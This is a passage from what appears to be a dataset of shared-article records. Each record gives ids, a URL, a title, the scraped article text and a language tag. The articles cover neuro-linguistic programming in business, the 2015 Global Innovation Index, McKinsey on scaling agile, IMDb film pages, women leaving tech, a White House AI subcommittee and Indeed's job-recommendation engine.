objetivos com clareza, gerando uma atmosfera de confiança, com habilidade para influenciar nosso interlocutor. Saber reconhecer sinais verbais e não-verbais, distinguir qualidades de voz e entonação, conhecer estratégias e modelos de negociação, utilizar a criatividade para a solução de problemas, são alguns dos caminhos que a PNL apresenta. Dentro do universo das empresas, trabalhar as pessoas é a melhor forma de desenvolver equipes. Afinal de contas, as equipes são um conjunto de indivíduos que trabalham juntos para um resultado ideal. Os gestores que decidem investir em PNL podem esperar uma mudança imediata no clima organizacional, diminuição de conflitos, melhor entrosamento, maior qualidade de vida, entre tantos outros benefícios. Existe um senso comum entre os gestores de RH que diz que as pessoas são admitidas pelas qualidades técnicas e demitidas pelas incompetências comportamentais. O técnico você aprende em muitos lugares. A prática, você conquista com o tempo. Já a habilidade comportamental, também reconhecida como atitude, a PNL é capaz desenvolver e transformar tanto no âmbito pessoal quanto no profissional. O grande diferencial de se trabalhar a comunicação entre as equipes com a PNL é que os treinamentos feitos são capazes de promover mudanças profundas, não precisando aplicar novos treinamentos à equipe. Isso significa muito mais eficácia e assertividade, já que as transformações são duradouras, perenes. Bom para o profissional, para o líder e principalmente para a empresa. Gilberto Cury é presidente da SBPNL - Sociedade Brasileira de Programação Neurolinguística.",pt
1462383165,CONTENT SHARED,-1338957937839941365,-8694104221113176052,6655467542122826330,,,,HTML,http://ofuturodascoisas.com/qual-e-o-pais-mais-inovador-do-mundo/,Qual é o país mais inovador do mundo?,"Diferentes países, especialmente os mais ricos, estão investindo somas crescentes para desenvolver o potencial inovador de suas empresas. A razão disso é que processos inovadores, traduzidos em novos produtos, processos e patentes, têm relação direta com o desenvolvimento econômico, geração de emprego e renda e aumento da competitividade, fator crucial para o progresso das empresas e da economia. E qual será o país mais inovador do mundo? Responder esta pergunta foi o objetivo do Índice de Inovação Global 2015, com relatório co-publicado pela Universidade de Cornell , pela INSEAD , e pela Organização Mundial da Propriedade Intelectual . Para realizar a pesquisa, os especialistas analisaram 79 indicadores relacionados à inovação, economia, política e outros aspectos de 140 países, que representam 95,1% da população mundial e 98,6% do PIB global. A nota de um país pode ir de 0 a 100 no índice total. Além disso, o estudo avalia outras três áreas: entrada de inovação, saída de inovação e índice de eficiência. O ranking não surpreende: Suíça, fica em primeiro lugar , seguida pela Grã-Bretanha, Suécia, Holanda e Estados Unidos. O Brasil está classificado como ""Inovador Ineficiente"" (veja a seta em azul). Hoje, o nosso país investe cerca de 1,2% do PIB em pesquisa e desenvolvimento, enquanto a China e o bloco europeu desembolsam aproximadamente 2%, segundo a OCDE (organização que reúne grandes economias). Seis em cada dez líderes empresariais brasileiros que comandam negócios inovadores consideram que o grau de inovação no Brasil deixa a desejar. Essa conclusão está na pesquisa da Confederação Nacional da Indústria (CNI) . Os pesquisadores também analisaram os dados sob outros ângulos, por exemplo, como estão os países em relação ao seu desenvolvimento econômico e à sua qualidade da inovação (medido por indicadores como rankings universitários). Nos dois casos, os resultados são notáveis. O gráfico acima mostra que a inovação em muitos países da África está acima do seu peso econômico. Já o quadro abaixo indica que, apesar da China estar produzindo uma série de patentes, o país fica muito atrás dos Estados Unidos e de outras nações mais ricas, quando se trata de qualidade da inovação . A baixa posição do Brasil no ranking pode ser justificada pelo Banco Mundial, o qual adverte que no país não existe um sistema nacional de inovação eficiente. A baixa taxa de transformação de pesquisa e desenvolvimento em aplicações comerciais no país, pode ser explicado pela "" fraca colaboração entre empresas privadas e universidades "". Fonte: Índice Global de Inovação 2015 Deixe seus comentários abaixo Redação O Futuro das Coisas O Futuro das Coisas é dedicado a trazer conteúdo exclusivo em inovação, tecnologia, educação e medicina numa linguagem divertida e acessível.",pt
1462387558,CONTENT SHARED,7255021292858609470,1895326251577378793,-4504437838273641641,,,,HTML,http://www.mckinsey.com/business-functions/business-technology/our-insights/an-operating-model-for-company-wide-agile-development,An operating model for company-wide agile development,"Organizations are succeeding with agile software and product development in discrete projects and teams. To do so in multiple business units and product groups, they must rethink foundational processes, structures, and relationships. Many digital companies are using agile development practices to deliver goods and services to customers more efficiently and with greater reliability. Using this software-development approach across all business units and product groups, digital giants have been able to design and build features quickly, test them with customers, and refine and refresh them in rapid iterations. By contrast, few traditional companies-those with both online and offline presences-are using agile methodologies across the majority of their product- and application-development teams. Many banks, for instance, have established digital units to develop and release mobile apps or website features quickly. But those groups typically remain physically and strategically disconnected from the rest of the IT organization and the rest of the company. Research indicates that many traditional companies are experimenting with agile practices in discrete pilot projects and realizing modest benefits from them. But fewer than 20 percent consider themselves ""mature adopters,"" with widespread acceptance and use of agile across business units. Meanwhile, according to our own observations, the companies that are deploying agile at scale have accelerated their innovation by up to 80 percent. There are many reasons traditional companies have not been able to successfully scale up their agile programs, but we believe a chief impediment is their existing operating models and organizational structures. In most of these companies, the process of software or product development remains fragmented and complex: a business request for a new website feature can kick-start a development process involving multiple teams, each tackling a series of tasks that feed into the original request. For instance, one team working on the front-end application, another updating associated servers and databases, and still another reconciling the front-end application with legacy back-end systems. What's more, the supporting business processes (among them, budgeting, planning, and outsourcing) and existing roles and responsibilities in both the IT organization and business units continue to adhere closely to the legacy waterfall approach. For most companies, it will be difficult to incorporate agile practices from small-scale pilots into all business units and functions-regardless of the success of those pilots-without making significant structural changes. Launching agile at scale: The research base We have helped many organizations adopt agile development practices in their IT and business groups. Building on that base, we recently studied in depth 13 large traditional organizations that are implementing agile methodologies across functions and business units (see sidebar, ""Launching agile at scale: The research base""). To facilitate widespread adoption, these companies have made changes in one or more parts of their operating models, targeting the following four areas: modifying their organizational structures to be more product oriented, improving interactions between the business and IT, redefining roles within business units and the IT organization, and reconsidering their budgeting and planning models (exhibit). The companies that have started on this path to change are realizing early benefits. One has switched from a project- to a product-oriented operating model. It has deployed talent and IT resources based on IT requirements for the entire customer-onboarding experience, for instance, rather than according to individual applications used during onboarding. As a result of this change in focus, it is now launching up to four website features a month instead of the typical four a year the company was able to release previously. This successful shift to agile was made more attainable when the company carefully considered when and how to phase in various modifications to its operating model. Scaling agile practices The benefits of agile are by now well known. Under agile development methodologies, IT organizations and product developers cocreate products and services with the business, rather than simply collecting feature specifications and throwing them back over the wall, as would happen under the waterfall development model. Teams can experiment with minimally viable products, test and learn from those prototypes, and ultimately deliver new software features and products in days or weeks, not years. Based on our observations of leading-edge adopters, quick codevelopment of products and collaboration among highly skilled IT and business professionals can happen on a broader scale when companies take steps to remake their operating models and organizational structures, focusing in particular on these four principles. Adopt a product-oriented organizational structure Traditional companies tend to organize their IT resources according to applications and projects-creating the type of fragmented development experiences described earlier. Instead, they need to organize IT resources around products, gathering business-unit leaders, developers, and other members of the organization in stable end-to-end teams that are focused on delivering designated business outcomes. Such a structure would mean the end of projects as they are traditionally defined and of coordination bodies such as the project-management office. In an agile-at-scale environment, products can't be defined solely as commercial offerings. They may actually be combinations of offerings (for instance, a payroll service), or the customer experience (say, all the features and tasks that make up the online purchasing journey), or an IT system shared by multiple product teams (such as pricing software that generates quotes on demand). So it's important for business and IT leaders to redefine the units of delivery. And once products have been recategorized, the company must designate an agile team, or clusters of agile teams, that will be responsible for the development and maintenance tasks associated with those products. These teams typically will include developers, testers, product owners, and others. They can draw additional support from a centralized group of experts-specialists in security issues, user-experience researchers, or enterprise IT architects, for instance. A large medical-device manufacturer significantly shortened its time to market by refining its organizational structure. Under its traditional structure, there could be as many as 20 handoffs when a business unit shared its specifications and requirements with the technology organization for a new piece of software or an additional feature in existing software. Because of the interdependencies among its products, leadership knew it wouldn't be enough to deploy agile within one business unit or within certain product-management teams in the technology organization. In 2015, the company tweaked its product-ownership model so that software requirements were directly transmitted from dedicated product owners in the business units to the agile teams, rather than passing through multiple parties. With this change, the company was able to reduce the amount of time it took to release products in the market. The structural changes also facilitated the rise of several communities of practice. These role-based or topic-based groups (sometimes called guilds) are critical in agile-at-scale environments. They can encourage the transfer of knowledge among team members, promote coordination between teams and functions, and become the catalyst for continuous performance improvement. Improve interactions between the business and IT To create an agile-at-scale environment, companies will need to break down silos between and within the business units and the IT organization. It's a perennial issue in most companies. But closer collaboration can be achieved by designating strong product owners from the business units to work with IT-individuals who understand the company's products well and who have the technical knowledge and authority to prioritize feature changes in products. In most traditional companies, product owners from the business side are involved in software development sporadically, providing input only as needed. To compensate for this lack of engagement, IT organizations often appoint a proxy product owner from IT. This arrangement can be useful in the near term but impede long-term product or project success. The proxy product owner typically has limited access to customers due to organizational barriers and possesses no mandate or the authority to make decisions. Because direction, priorities, and accountability are lacking, agile development is stalled. Teams face a significant amount of rework and waste. By contrast, a strong product owner has an in-depth understanding of the product in question, connections to and an understanding of customers, and full authority to make quick decisions. Such accelerated decision making helps to reduce bottlenecks in development and increase productivity. A provider of software-as-a-service solutions was struggling to get products to market in a timely fashion. There were marked lags in decision making and unclear lines of communication between IT and the business. In 2014, the company implemented a three-tiered product-owner structure, with a chief product owner leading a product domain, a senior product owner leading a product line, and product owners working with the scrum teams. Under this revised structure, interactions between IT and the business units improved. The lines of communications were clearer. The company was able to make decisions much more quickly while maintaining consistency and coordination within and across product-development groups. In part because of this structural change, the company was able to bring new software products to market quarterly-and in some instances monthly-rather than only once or twice a year. Six building blocks for creating a high-performing digital enterprise Read the article Redefine managerial roles and responsibilities About half the companies we studied have redefined managers' roles and responsibilities to account for the distinct capabilities associated with agile versus waterfall development. Consider the differences: the project manager working under a waterfall approach typically needs to coordinate a range of tasks occurring across application-development teams, database teams, and so on. Under an agile approach, however, the number of tasks (and therefore the need for coordination) is minimized. The tasks that remain are handled by a strong product owner or the agile team itself. Similarly, the process-management tasks that were traditionally done by line managers-for instance, identifying and addressing dependencies and assigning tasks to individuals-are handled by self-organizing, product-focused agile teams. A large bank in Africa redefined certain roles, shifting the lines of communication and responsibilities, to accommodate the bank's desire to deploy agile practices more widely. Previously, software-development teams worked with various technology leads to translate architects' requirements into technical specifications. Under an agile approach, however, this translation step was no longer needed. The bank eliminated the tech-lead role within agile teams. Developers are now empowered to talk directly to architects and product owners, so they gain a better understanding of customers' needs and can develop software to accommodate those needs. Line managers will, of course, continue to play central roles-providing career-development support and serving as subject-matter experts within agile teams and formally transferring their knowledge to others. But their responsibilities were redrawn, and this was communicated widely so that team members knew what to expect and whom to contact in particular situations. Indeed, the companies we've seen that have effectively implemented agile at scale are resolutely transparent-they provide clear guidelines about which decisions should be made within the team and which require external input. The boundaries are clearly defined; team members are empowered enough to be accountable but not so much that they could create major risks with rogue or carte-blanche actions. Reconsider budgeting and planning models IT organizations typically adhere to annual budgeting and planning cycles-which can involve painful rebalancing exercises across an entire portfolio of technology initiatives, as well as a sizable amount of rework and waste. This approach is anathema to companies that are seeking to deploy agile at scale. Some businesses in our research base are taking a different approach. Overall budgeting is still done yearly, but road maps and plans are revisited quarterly or monthly, and projects are reprioritized continually. A large European insurance provider restructured its budgeting processes so that each product domain is assigned a share of the annual budget, to be utilized by chief product owners. (Part of the budget is also reserved for requisite maintenance costs.) Budget responsibilities have been divided into three categories: a development council consisting of business and IT managers meets monthly to make go/no-go decisions on initiatives. Chief product owners are charged with the tactical allocation of funds-making quick decisions in the case of a new business opportunity, for instance-and they meet continually to rebalance allocations. Meanwhile, product owners are responsible for ensuring execution of software-development tasks within 40-hour work windows and for managing maintenance tasks and backlogs; these, too, are reviewed on a rolling basis. As a result of this shift in approach, the company has increased its budgeting flexibility and significantly improved market response times. A handful of companies are even exploring a venture-capital-style budgeting model. Initial funding is provided for minimally viable products (MVPs), which can be released quickly, refined according to customer feedback, and relaunched in the marketplace-the hallmarks of agile development. And subsequent funding is based on how those MVPs perform in the market. Under this model, companies can reduce the risk that a project will fail, since MVPs are continually monitored and development tasks reprioritized. Typically there is less waste and more transparency among portfolio and product managers, and it becomes easier for the company to scrap low-potential projects early. Choosing the right approach Revamping an operating model is a large undertaking. There will be significant risks to address and short-term disruptions as new ways of working take hold. As with any large change-management initiative, such a transformation will require long-term commitments from employees at all levels, in all functions and business units. The companies we've studied have used a number of approaches to alter elements of their operating models. At one extreme, some have used the ""lab approach,"" in which an agile operating model is set up apart from the rest of the organization to serve as a testing ground before capabilities and processes are rolled out to the entire IT organization. This approach makes most sense when the company has only limited support from senior management for larger changes and needs to prove the business case quickly. For the most part, however, the separate organizations created under the lab approach tend to remain separate rather than influencing change across the organization. At the other extreme, a handful of companies have embarked on a ""big-bang redesign,"" in which they move all functions and business units toward new organizational structures and roles, self-contained agile cells, and faster processes-all in one go. For this to work, senior leadership must be all in from day one, which is likely to be the case in only a small subset of companies. Somewhere in the middle is the ""wave and spike"" approach to deploying agile at scale. Under this model, individual teams are reconfigured as agile teams in waves, while elements of a new operating model are deployed in spikes. A large technology-solutions provider, for instance, needed to ramp up its digital capabilities fast. The company's IT organization was struggling to get products to market given the increasing size, complexity, and sheer number of projects. The company transitioned product-development teams to agile practices in waves; 5 were included in the first training and deployment cycle, while close to 20 were part of the second. As each successive wave of teams was indoctrinated to agile, feedback was collected and training materials were developed or revised for the next set of teams. Agile coaches were also installed to guide teams. Six months into its agile transformation, the company adopted a product-oriented organizational structure, gathering business-unit leaders, developers, engineers, and members of the IT organization into ""tribes."" Many months after that, the company focused on a different spike-interaction between IT and the business. It adjusted its operating model so the product-development group could collaborate more closely with the IT operations group (in a true DevOps model). As a result of these changes, time to market accelerated dramatically; because teams were cocreating products, the number of defects and the rework required decreased. Companies that are finding small-scale success with agile development practices may be loath to mess with a good thing, figuring it best to avoid the risks that widespread adoption might present. One of the chief risks in a digital business world, however, is standing still. To keep pace with new market entrants, emerging technologies, and changing customer expectations, companies will need to find ways to extend their capabilities in agile software development to all functions and business units. They must be willing to adapt the very fabric of their organizations and give agile methodologies the space and support they need to thrive. About the author(s) Santiago Comella-Dorda is a principal in McKinsey's Boston office, Swati Lohiya is an expert in the London office, and Gerard Speksnijder is a master expert in the San Francisco office.",en
1462388809,CONTENT SHARED,2491414153837906223,6644119361202586331,-644438690559295938,,,,HTML,http://www.imdb.com/title/tt1276419/,A Royal Affair (2012),"Nominated for 1 Oscar. Another 21 wins & 35 nominations. See more awards "" Storyline In 1767, the British Princess Caroline is betrothed to the mad King Christian VII of Denmark, but her life with the erratic monarch in the oppressive country becomes an isolating misery. However, Christian soon gains a fast companion with the German Dr. Johann Struensee, a quietly idealistic man of the Enlightenment. As the only one who can influence the King, Struensee is able to begin sweeping enlightened reforms of Denmark through Christian even as Caroline falls for the doctor. However, their secret affair proves a tragic mistake that their conservative enemies use to their advantage in a conflict that threatens to claim more than just the lovers as their victims. Written by Kenneth Chisholm (kchishol@rogers.com) Taglines: They changed a nation forever Details Release Date: 29 March 2012 (Denmark) Also Known As: A Royal Affair Box Office Opening Weekend: $38,212 (USA) (9 November 2012) Gross: $1,545,726 (USA) (26 April 2013) Company Credits Technical Specs See full technical specs "" Did You Know? Trivia As part of her audition process Nikolaj Arcel took Alicia Vikander out drinking to see how well she could understand Danish. Vikander faked that she could understand and speak it well but at the end of the process when Arcel told her she had the role she didn't understand what he was saying until he switched to Swedish. See more "" Goofs While all of the characters all speak Danish in the film, the court language in Denmark at the time was actually German. In real life neither Count von Bernstorff nor Johann Struensee spoke any Danish, and it is more than likely that Christian and Caroline also conversed in German rather than the ""people's language."" See more "" Quotes [first lines] Caroline Mathilde : [writing a letter] I'm trying to remember him. Johann. I have to tell you about him. About us. Why we did the things we did. Caroline Mathilde : My beloved children, you do not know me, but I am your mother. Perhaps you have never forgiven me. Perhaps you hate me. I hope not. I now know that I will never see you again, so I am writing to tell you the truth, before it's too late. See more "" Soundtracks Water Music, HWV 350, Suite No.3 in G Major (III. Minuet) Music by George Frideric Handel (as Georg Friedrich Händel) (P) Zentropa Music See more "" Frequently Asked Questions User Reviews Message Boards Recent Posts",en
1462389227,CONTENT SHARED,1719976830095479814,8676130229735483748,1142017227037902335,,,,HTML,http://www.imdb.com/title/tt0040522/,Bicycle Thieves (1948),"Storyline Ricci, an unemployed man in the depressed post-WWII economy of Italy, gets at last a good job - for which he needs a bike - hanging up posters. But soon his bicycle is stolen. He and his son walk the streets of Rome, looking for the bicycle. Ricci finally manages to locate the thief but with no proof, he has to abandon his cause. But he and his son know perfectly well that without a bike, Ricci won't be able to keep his job. Written by jolusoma Details Release Date: 13 December 1949 (USA) Also Known As: Bicycle Thieves Box Office Budget: $133,000 (estimated) Opening Weekend: $11,845 (USA) (2 October 1998) Gross: $332,930 (USA) (3 September 1999) Company Credits Technical Specs Runtime: | (DVD edition) See full technical specs "" Did You Know? Trivia Future Italian director Ettore Scola , who was only fifteen years old at the time, recalled passing the Piazza Vittorio while on his way to school one day and wondering why it was so deserted that time of day. He said, ""...only a worker, a street sweeper and a child were crossing the street, going in the direction of the market. A low and strangely close voice, like that of a prompter amplified by a megaphone, reached the actors and the crowd gathered behind the barriers: 'More slowly, Lamberto. Let Gino go ahead. Enzo, keep behind Papa.' The whisper was coming from a small tower on top of which, in a little wooden armchair, was seated a gentleman wearing a hat, a scarf, and a camel hair coat."" See more "" Quotes Antonio Ricci : ""Why should I kill myself worrying when I'll end up just as dead?"" See more "" User Reviews Message Boards Recent Posts",en
1462389556,CONTENT SHARED,-6275771337261603227,8676130229735483748,1142017227037902335,,,,HTML,http://www.imdb.com/title/tt0050783/,Nights of Cabiria (1957),"Storyline Cabiria is a wide-eyed waif, a streetwalker living in a poor section of Rome where she owns her little house, has a bank account, and dreams of a miracle. We follow her nights (and days): a boyfriend steals 40,000 lire from her and nearly drowns her, a movie star on the Via Veneto takes her home with him, at a local shrine she seeks the Madonna's intercession, then she meets an accountant who's seen her, hypnotized on a vaudeville stage, acting out her heart's longings. He courts her. Is it fate that led to their meeting? Is this finally a man who appreciates her for who she is? Taglines: The story of a betrayed but unquenchable little Roman street-walker. Details Release Date: 26 May 1957 (Italy) Also Known As: Nights of Cabiria Box Office Opening Weekend: $38,988 (USA) (3 July 1998) Gross: $752,045 (USA) (30 October 1998) Company Credits Technical Specs Runtime: Sound Mix: Mono (Western Electric Recording) See full technical specs "" Did You Know? Trivia Federico Fellini : [vaudeville] The entire hypnotist stage act segment is among many vaudeville references in Fellini's films. See more "" Goofs The position of the family outside the house changes between when Cabiria first opens the door and when she leaves the house. See more "" Quotes User Reviews Message Boards Recent Posts",en
1462391771,CONTENT SHARED,764116021156146784,7890134385692540512,1034339681607289113,,,,HTML,https://medium.com/tech-diversity-files/if-you-think-women-in-tech-is-just-a-pipeline-problem-you-haven-t-been-paying-attention-cb7a2073b996,"If you think women in tech is just a pipeline problem, you haven't been paying attention - Tech Diversity Files","If you think women in tech is just a pipeline problem, you haven't been paying attention According to the Harvard Business Review , 41% of women working in tech eventually end up leaving the field (compared to just 17% of men), and I can understand why... I first learned to code at age 16, and am now in my 30s. I have a math PhD from Duke. I still remember my pride in a ""knight's tour"" algorithm that I wrote in C++ in high school; the awesome mind warp of an interpreter that can interpret itself (a Scheme course my first semester of college); my fascination with numerous types of matrix factorizations in C in grad school; and my excitement about relational databases and web scrapers in my first real job. Over a decade after I first learned to program, I still loved algorithms, but felt alienated and depressed by tech culture. While at a company that was a particularly poor culture fit, I was so unhappy that I hired a career counselor to discuss alternative career paths. Leaving tech would have been devastating, but staying was tough. I'm not the stereotypical male programmer in his early 20s looking to ""work hard, play hard"". I do work hard, but I'd rather wake up early than stay up late, and I was already thinking ahead to when my husband and I would need to coordinate our schedules with daycare drop-offs and pick-ups. Kegerators and ping pong tables don't appeal to me. I'm not aggressive enough to thrive in a combative work environment. Talking to other female friends working in tech, I know that I'm not alone in my frustrations. When researcher Kieran Snyder interviewed 716 women who left tech after an average tenure of 7 years, almost all of them said they liked the work itself, but cited discriminatory environments as their main reason for leaving. In NSF-funded research, Nadya Fouad surveyed 5,300 women who had earned engineering degrees (of all types) over the last 50 years, and 38% of them were no longer working as engineers. Fouad summarized her findings on why they leave with ""It's the climate, stupid!"" This is a huge, unnecessary, and expensive loss of talent in a field facing a supposed talent shortage. Given that tech is currently one of the major drivers of the US economy, this impacts everyone. Any tech company struggling to hire and retain as many employees as they need should particularly care about addressing this problem. Your company is NOT a meritocracy and you are NOT ""gender-blind"" Nobody wants to think of themselves as being sexist. However, a number of studies have shown that identical job applications or resumes are evaluated differently based on whether they are labeled with a male or female name. When men and women read identical scripts containing entrepreneurial pitches or salary negotiations, they are evaluated differently. Both men and women have been shown to have these biases. These biases occur unconsciously and without intention or malice. Here is a sampling of just a few of the studies on unconscious gender bias: Investors preferred entrepreneurial ventures pitched by a man than an identical pitch from a woman by a rate of 68% to 32% in a study conducted jointly by HBS, Wharton, and MIT Sloan. ""Male-narrated pitches were rated as more persuasive, logical and fact-based than were the same pitches narrated by a female voice."" In a randomized, double-blind study by Yale researchers, science faculty at 6 major institutions evaluated applications for a lab manager position. Applications randomly assigned a male name were rated as significantly more competent and hirable and offered a higher starting salary and more career mentoring, compared to identical applications assigned female names. When men and women negotiated a job offer by reading identical scripts for a Harvard and CMU study, women who asked for a higher salary were rated as being more difficult to work with and less nice , but men were not perceived negatively for negotiating. Psychology faculty were sent CVs for an applicant (randomly assigned male or female name), and both men and women were significantly more likely to hire a male applicant than a female applicant with an identical record. In 248 performance reviews of high-performers in tech , negative personality criticism (such as abrasive, strident, or irrational) showed up in 85% of reviews for women and just 2% of reviews for men. It is ridiculous to assume that 85% of women have personality problems and that only 2% of men do. Most concerningly, a study from Yale researchers shows that perceiving yourself as objective is actually correlated with showing even more bias . The mere desire to not be biased is not enough to overcome decades of cultural conditioning and can even lend more credence to post-hoc justifications. Acknowledging that you have biases that conflict with your values does not make you a bad person. It's a natural result of our culture. The important thing is to find ways to eliminate them. Blindly believing your company is a meritocracy not only does not make it so, but will actually make it even harder to address implicit bias. Bias is typically justified post-hoc. Our initial subconscious impression of the female applicant is negative, and then we find logical reasons to justify it. For instance, in the above study by Yale researchers if the male applicant for police chief had more street smarts and the female applicant had more formal education, evaluators decided that street smarts were the most important trait, and if the names were reversed, evaluators decided that formal education was the most important trait. Good News and Bad News The Bad News... Because of the high attrition rate for women working in tech, teaching more girls and women to code is not enough to solve this problem. Because of the above well-documented differences in how men and women are perceived, training women to negotiate better and be more assertive is also not enough to solve this problem. Female voices are perceived as less logical and less persuasive than male voices . Women are perceived negatively for being too assertive. If tech culture is going to change, everyone needs to change, especially men and most especially leaders. The professional and emotional costs to women for speaking out about discrimination can be large (in terms of retaliation, being perceived as less employable or difficult to work with, or companies then seeking to portray them as poor performers). I know a number of female software engineers who will privately share stories of sexism with trusted friends that we are not willing to share publicly because of the risk. This is why it is important to proactively address this issue. There is more than enough published research and personal stories from those who have chosen to publicly share to confirm that this is a widespread issue in the tech industry. ...and the Good News Change is possible. Although these are schools and not tech companies, Harvey Mudd and Harvard Business School provide inspiring case studies. Strong leaders at both schools enacted sweeping changes to address previously male-centric cultures. Harvey Mudd has raised the percentage of computer science majors that are women to 40% (the national average is 18%). The top 5% of Harvard Business School graduates rose from being approximately 20% women to closer to 40% and the GPA gap between men and women closed, all within one year of making a number of comprehensive, structural changes. So What Can We Do About It? These recommendations on what companies could do to improve their cultures are based on a mix of research and personal experience. My goal is to have a positive focus, and I would love it if you walked away with at least one concrete goal for making constructive change at your company. Train managers It is very common at tech start-ups to promote talented engineers to management without providing them with any management training or oversight, particularly at rapidly growing companies where existing leadership is stretched thin. These new managers are often not aware of any of the research on motivation, human psychology, or bias. Untrained, unsupervised managers cause more harm to women than men , although regardless, all employees would benefit from new managers receiving training, mentorship, and supervision. Formalize hiring and promotion criteria In the Yale study mentioned above regarding applicants for police chief, getting participants to formalize their hiring criteria before they looked at applications (i.e. deciding if formal education or street smarts was more important) reduced bias. I was once on a team where the hiring criteria were amorphous and where the manager frequently overrode majority votes by the team because of ""gut feeling"". It seemed like unconscious bias played a large role in decisions, but because of our haphazard approach to hiring, there was no way of truly knowing. Leaders, speak up and act in concrete ways Leadership sets the values and culture for a company, so the onus is on them to make it clear that they value diversity. Younger engineers and managers will follow their perceptions of what executives value. In the cases of positive change at Harvey Mudd and Harvard Business School , leadership at the top was spearheading these initiatives. Intel is going to begin tying executives' compensation to whether they achieve diversity goals on their teams. As Kelly Shuster, director for the Denver chapter of Women Who Code has pointed out, leaders have to get rid of employees who engage in sexist or racist behavior . Otherwise, the company is at risk of losing talented employees, and is sending a message to all employees that discrimination is okay. Don't rely on self-nominations or self-evaluations There is a well-documented confidence gap between men and women. Don't rely on people nominating themselves for promotions or to get the most interesting projects, since women are less likely to put themselves forward. Google relies on employees nominating themselves for promotions and data revealed that women were much less likely to do so (and thus much less likely to receive promotions). When senior women began hosting workshops encouraging women to nominate themselves, the number of women at Google receiving promotions increased . Groups are more likely to pick male leaders because of their over-confidence , compared to more qualified women who are less confident. Don't rely heavily on self-evaluations in performance scoring. Women perceive their abilities as being worse than they are, whereas men have an inflated sense of their abilities . Formally audit employee data Confirm that men and women with the same qualifications are earning the same amount and that they are receiving promotions and raises at similar rates (and if not, explore why). Make sure that gendered criticism ( such as calling a woman strident or abrasive ) is not used in performance reviews. The trend of tech companies releasing their diversity statistics is a good one, but given the high industry attrition rate for women, they should also start releasing their retention rates broken down by gender. I would like to see companies release statistics on the rates at which women are given promotions or raises compared to men, and how performance evaluation scores compare between men and women. By publicly sharing data, companies can hold themselves accountable and can track changes over time. Don't emphasize face time A culture that rewards facetime and encourages people to regularly stay late or eat dinner at the office puts employees with families at a disadvantage (particularly mothers), and research shows that working excess hours does not actually improve productivity in the long-term since workers begin to experience burn out after just a few weeks. Furthermore, when employees burn out and quit, the cost of recruiting and hiring a new employee is typically 20% of the annual salary for that position . Create a collaborative environment Stanford research studies document that women are more likely to dislike competitive environments compared to men and are more likely to select out of them, regardless of their ability. Given that women are perceived negatively for being too assertive, it is tougher for women to succeed in a highly aggressive environment as well. Men who speak up more than their peers are rewarded with 10% higher ratings, whereas women who speak up more are punished with 14% lower ratings . Creating a competitive culture where people must fight for their ideas makes it much tougher for women to succeed. Offer maternity leave Over 10% of the 716 women who left tech in Kieran Snyder's research left because of inadequate maternity leave. Several were pressured to return from leave early or to be on call while on leave. These women did not want to be stay-at-home-parents, they just wanted to recover after giving birth. Just as you would not pressure someone to return to work without recovery time after a major surgery, women need time to physically heal after delivering a baby. When Google increased paid maternity leave from 12 weeks to 18 weeks, the number of new moms who quit Google dropped by 50% . Some final thoughts... A note on racial bias There is a huge amount of research on unconscious racial bias , and tech companies need to address this issue. As Nichole Sanchez, VP of Social Impact at GitHub, describes, calls for diversity are often solely about adding more white women , which is deeply problematic. Racial bias adds another intersectional dimension to the discrimination that women of color experience. In interviews with 60 women of color who work in STEM research , 100% of them had experienced discrimination, and the particular negative stereotypes they faced differed depending on their race. A resume with a traditionally African-American sounding name is less likely to be called for an interview than the same resume with a traditionally white sounding name. I do not have the personal experience to speak about this topic and instead encourage you to read these blog posts and articles by and about tech workers of color on the challenges they've faced: Erica Joy (Slack engineer, former Google engineer), Justin Edmund (designer, Pinterest's 7th employee), Aston Motes (Engineer, Dropbox's 1st employee), and Angelica Coleman (developer advocate at Zendesk, formerly at Dropbox). Now I'm currently teaching software development at all-women Hackbright Academy , a job that I love and that suits me perfectly. I want all women to have the opportunity (and I mean truly have the opportunity, without implicit or explicit discrimination) to learn how to program - knowing software development provides so many career and financial possibilities; it's intellectually rewarding and fun; and being a creator is deeply satisfying. Although I know many women with frustrating experiences of sexism, I also know women who have found companies where they're happily thriving. I'm glad for the attention tech's diversity problem has been receiving and I am hopeful about continued change. Thanks for review, edits, and discussion to: Jeremy Howard and Angie Chang.",en
1462393393,CONTENT SHARED,7572869304086387835,-1443636648652872475,43810852945857874,,,,HTML,http://www.popsci.com/white-house-has-realized-artificial-intelligence-is-very-important,The White House Has Realized Artificial Intelligence Is Very Important,"Artificial intelligence promises to fundamentally change the way humans live. By replicating intelligence on any level, we can begin to automate all kinds of jobs and otherwise human tasks, shifting the economy and potentially eliminating the need for a flesh-and-blood workforce. Turns out that idea perks up some ears at the White House. The National Science and Technology Council subcommittee on machine learning and artificial intelligence will start to meet next week, for the purpose of ""monitor state-of-the-art advances and technology milestones in artificial intelligence and machine learning within the Federal Government, in the private sector, and internationally; and help coordinate Federal activity in this space."" Additionally the White House will be holding four events in Summer 2016, to create more dialogue on how A.I. could change the United States. The events partner with research programs like Carnegie Mellon and University of Washington School of Law, that focus on either the ethics or mechanics of A.I. While government A.I. seems like the bad idea at the start of a sci-fi movie (and I'm sure it has been), this is actually a good thing. It's even a good thing that the outlines provided for the subcommittee are vague-knowledge about this technology should be gathered and understood by the federal government before decisions need to be made. Tickets to the four events will be free and open to the public. Registration starts ""soon.""",en
1462396854,CONTENT SHARED,-4944551138301474550,-1443636648652872475,43810852945857874,,,,HTML,https://www.oreilly.com/ideas/algorithms-and-architecture-for-job-recommendations?imm_mid=0e34f3&cmp=em-data-na-na-newsltr_20160504,Algorithms and architecture for job recommendations,"The Pneumatic Passenger Railway, as erected at the American Institute, 1867. (source: Via Google Books on Wikimedia Commons ). With 200 million unique visitors every month, Indeed.com relies on a recommendation engine that processes billions of input signals every day. In this article, we'll describe the evolution of our recommendation engine, from the initial minimum viable product (MVP) built with Apache Mahout , to a hybrid offline + online pipeline. We'll explore the impact these changes have had on product metrics and how we've addressed challenges by using incremental modifications to algorithms, system architecture, and model format. To close, we'll review some related lessons in system design that apply to any high-traffic machine learning application. From search engine to recommendation Indeed's production applications run in many data centers around the world. Clickstream data, and other application events from every data center, are replicated into a central HDFS repository , based in our Austin data center. We compute analytics and build our machine learning models from this repository. Our job search engine is simple and intuitive, with two inputs: keywords and location. The search results page displays a list of matching jobs, ranked by relevance. The search engine is the primary way our users find jobs. Our decision to go beyond search and add job recommendations-as a new mode of interaction-was based on several key reasons: 25% of all searches on Indeed specify only a location and no search keywords. There are many job seekers who aren't sure what keywords to use in their search. When we deliver targeted recommendations, the job seeker's experience is personalized. Recommendations can help even the most sophisticated user discover additional 